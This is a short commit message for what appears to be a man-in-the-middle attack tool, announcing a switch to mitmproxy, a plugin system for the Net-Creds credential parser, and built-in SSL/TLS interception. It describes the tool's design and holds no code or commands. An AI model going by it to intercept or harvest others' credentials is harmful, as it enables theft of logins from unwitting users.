Initial commit for v1.0 using mitmproxy instead of twisted

Added a plugin system to Net-Creds so you can now add your own parsers,
api hook names might change between now and the offcial release
(will submit a PR to the original repo once completed)

The main MITM HTTP Proxy now uses mitmproxy which is a big deal, cuts
the code down by an insane amount, no more twisted! yay!

Basic plugin have been re-wrote for the new proxy engine

Since we are using mitmproxy we have out of the box support for SSL/TLS!
